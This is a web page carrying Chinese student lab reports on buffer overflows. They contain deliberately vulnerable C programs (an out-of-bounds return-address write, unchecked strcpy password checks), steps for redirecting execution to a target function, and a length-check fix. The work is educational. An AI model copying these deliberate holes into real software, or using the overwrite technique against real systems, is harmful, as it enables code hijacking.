压入参数,接着CALL指令会王栈中压入返回的执行地址EIP的值。

然后进入被调函数之后,被掉函数保存调用函数的栈基址EBP的值,并且在栈中为局部变量分配区域。

这个区域位于EBP的下方,如果输入的内容太大,超出的DATA的范围,就会导致EBP或者EIP的内容被改,从而导致被调函数返回时出错或者跳掉其它程序中执行。

2、分析待解源程序作者分析了所给源代码,大概列出下面一个堆栈分布情况。

(此页容纳不下,见下页)main,test,getbuf,Gets函数的堆栈情况。

此时,Gets函数中的指针sp指向getbuf中函数的局部变量数组Buf[12]。

在函数Gets循环的输入数据到sp指的位置中,并且是按照用户输入回车结束的。

这样就给程序留下了漏洞。

只要用户输入超过12个字符的数据,就会照成堆栈被破坏。

在这里,我们要做的就是将getbuf运行完的返回地址(标志红色标志)改成函数somoke的起始地址。

这样,在getbuf运行完成之后,EIP指令存储smoke函数的起始运行地址,这样也就完成了要求的功能。

那么要输入的值是什么呢?应该先将栈中紫色标志的区域给覆盖掉,他们一共是16个字节大小,这样在控制台要先任意输入16个字符。

然后后面四个字符是关键,我使用反汇编工具得到了somke函数的起始地址为0x004113d9h,并且按照小尾顺序将这个值写入EIP(红色)位置,就完成了任务。

【备注】:便于方便,我将输入字符的工作直接在源代码里修改,而没有提供在控制台输入的ASCII文本。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

服务器安全攻防技术实验报告实验名称:缓冲区溢出班级:姓名:学号:实验地点:日期:2020/3/11一、实验目的:1.通过实践掌握缓冲区溢出的原理;掌握常用的缓冲区溢出方法;理解缓冲区溢出的危害性;掌握防范和避免缓冲区溢出攻击的方法。

二、基本技能实验内容、要求和环境:实验环境:1.PC机一台,安装有Windows 2003 server;2.Vmware软件一套;3.Codeblockse软件。

实验内容:1、简单陈述缓冲区溢出的原理。

2、(1)陈述程序如何溢出?(2)为什么执行why_here方法?(3)画出栈结构#include <stdio.h>#include <stdlib.h>void why_here(void) //这个函数没有任何地方调用过{printf("why u here !n\n");printf("you are trapped here\n");system("pause");_exit(0);}int main(int argc,char * argv[]){int buffer[1];buffer[4] = why_here;system("pause");return 0;}三、基本技能实验结果与分析:1、简单陈述缓冲区溢出的原理。

答案:缓冲区溢出是指当前计算机向缓冲区内填充数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。

2、(1)陈述程序如何溢出?运行程序,返回结果如下:分析:由代码我们可以看出,在我们的main()函数中并没有调用过why_here()函数,只是定义了一个buffer[1]的数组,但是在我们定义了数组之后,我们同时为buffer[4]赋值为why_here()函数的返回值。

我们知道buffer数组并没有buffer[4]这个位置,此时我们为它赋值就会造成该buffer[4]中原来返回地址被覆盖,转去执行why_here(),就会输出以上的语句了。

进入debug模式,查看Selected frame,从中我们可以获取的信息有:EIP为0x401384,在执行main函数之后被保存为0x4010fd,,编码为C语言,涉及到的实参有argc=1, argv=0x1e2e28,局部变量存放在栈的0x60ff08的位置;而目前的frame指针所指示的位置为0x60ff10;保存的寄存器为EBP存放在0x60ff08,EIP保存在0x60ff0c。

debugging windows的watchs窗口中函数中涉及的参数和变量所对应的值。

(2)为什么执行why_here 方法?答案:我们的EBP 所处的位置为0x60ff08,EIP 所处的位置为0x60ff0c,而我们当前的指针(SP )指向了0x60ff10,刚好是buffer[4]所处的地址,那么它就会转去执行why_here()函数,从而就会输出当前的语句。

(3)画出栈结构 答案:栈空间由操作系统自动分配释放,存放函数的参数值,局部变量,EBP,EIP 的值,栈使用的是一级缓存,只是在被调用的时候处于存储空间中,调用完成立即释放。

注意,全局变量和局部静态变量的存储并不会放到内存中的栈区,而是放到静态区,程序执行结束由系统释放。

在Windows 中,栈是线低地址扩展的数据结构,是一块连续的内存区域。

在大多数的C 编译器中,参数是由右向左入栈,然后就是函数中的局部变量。

当本次函数调用结束后,局部变量先出栈,然后是参数,最后是栈顶指针指向函数的返回地址,就是主函数中下一条指令的地址。

程序就会从该点继续执行。

了解栈的相关知识之后,就可以画出以以下栈的结构:局部变量存放在低地址端(0x60ff04)EBP 存放位置(0x60ff08)函数返回的地址,下一条指令地址(0x60ff10)EIP 存放位置(0x60ff0c)四、进阶技能的任务与要求:1、(1)陈述程序如何溢出?(2)画出栈结构(3)补充auth方法,如果输入字符超出正常范围下,提示“输入字符超出范围”;否则,无提示。

#include <stdio.h>#include <string.h>int auth(const char* password){int flag = 0;char pwd[16];strcpy(pwd, password);pwd[0] = 't';if(!strcmp(pwd, "test")){flag = 1;}return flag;}int main(){int flag = 0;char password[128];scanf("%s", password);if(auth(password)){printf("right password\n");}else{printf("wrong password\n");}return 0;}2、设计具有溢出的程序,并解释说明五、进阶技能实验结果与分析:1.首先分析代码块,strcpy()函数用于对字符串进行复制,strcpy(char* strDestination, const char* strSource)。

其中,strDestination代表的是目的字符串,strSource,代表的是源字符串,strcpy()函数会把strSource指向字符串复制到strDestination。

必须要保证strDestination足够大,能够容纳下strSource,否者的话,就会造成溢出错误。

返回值为目的字符串,即strDestination。

而我们的程序中的main()函数中的password定义为128位的字符数组,而main()函数中if语句调用的auth()函数中定义的pwd为16位的字符数组,并且在auth()函数中strcpy()函数将password的值赋值给了pwd。

如果我们输入的password大于16位,这就造成了溢出错误。

1)在我们输入和需要比对的字符串test相同时,就会返回正确的密码;2)如果我们输入的密码大于test,但是并不超过16位,此时不会造成溢出错误,但是会返回“wrong password”。

之所以会返回“wrong password”,是因为在auth()函数中使用strcmp()函数进行比较我们输入的password和“test”的值的大小时,strcmp()函数返回的值大于0,又因为if语句对strcmp()函数我的返回值取非,所以if语句判断的值小于0,就会返回flag=0。

之后将返回的结果交于main()函数中的if语句进行判断,此时,就符合else,就会打印输出“wrong password”。

3)如果我们输入的password的位数大于16位,此时就会造成溢出错误,但是同样会输出“wrong password”。

正常情况下,我们应该对输入的密码进行判断,如果输入的密码的位数大于16位,就不允许进行auth()函数中的strcpy()复制操作,这样就不会造成溢出错误了。

(2)画出栈结构局部变量flag、pwd、passowrd存放的位置EBP存放的位置EIP存放的位置auth()函数的返回值(3)补充auth方法,在auth()函数中,对传递进来的参数password进行长度的判断,示例代码如下:int auth(const char* password){int flag = 0;char pwd[16];if(strlen(password)>16){printf("输入字符串超出范围,请重新输入!\n");}else{strcpy(pwd, password);}pwd[0] = 't';if(!strcmp(pwd, "test")){flag = 1;}return flag;}2、设计具有溢出的程序,并解释说明示例代码如下:/*Author: 孤烟逐云Time: 2020/3/11*/#include <stdio.h>#define PASSWORD "root1233"int verify(char *password) // 定义验证用户输入的密码是否正确的函数{int auth;char buffer[8]; // 定义buffer字符数组的长度为8auth = strcmp(password, PASSWORD); // 比较输入的字符串和定义密码是否相同strcpy(buffer, password); // 将用户输入的密码拷贝至bufferreturn auth;}int main(void){int flag = 0;char pass[30]; // 定义pass字符数组长度为30while(1){ // 永远为True,执行该程序就会提示用户输入密码printf("enter the password:\t");scanf("%s", pass); // 提示用户输入密码flag = verify(pass); // 调用验证用户输入的密码是否正确的函数if(flag==0){ // 判断输入的密码如果相同,就跳出验证printf("congratulation!\n");break;}else{ // 如果用户输入的密码不正确,就提示用户再次输入 printf("password incorrect! \n");}}}执行结果如下:(1)输入密码不正确就会提示用户再次输入,输入的密码正确的的话,就会打印出congratulation,并且跳出if语句。

(2)让输入的密码不正确,并且长度超过定义的最大长度,就处于中断状态。

相关文档
最新文档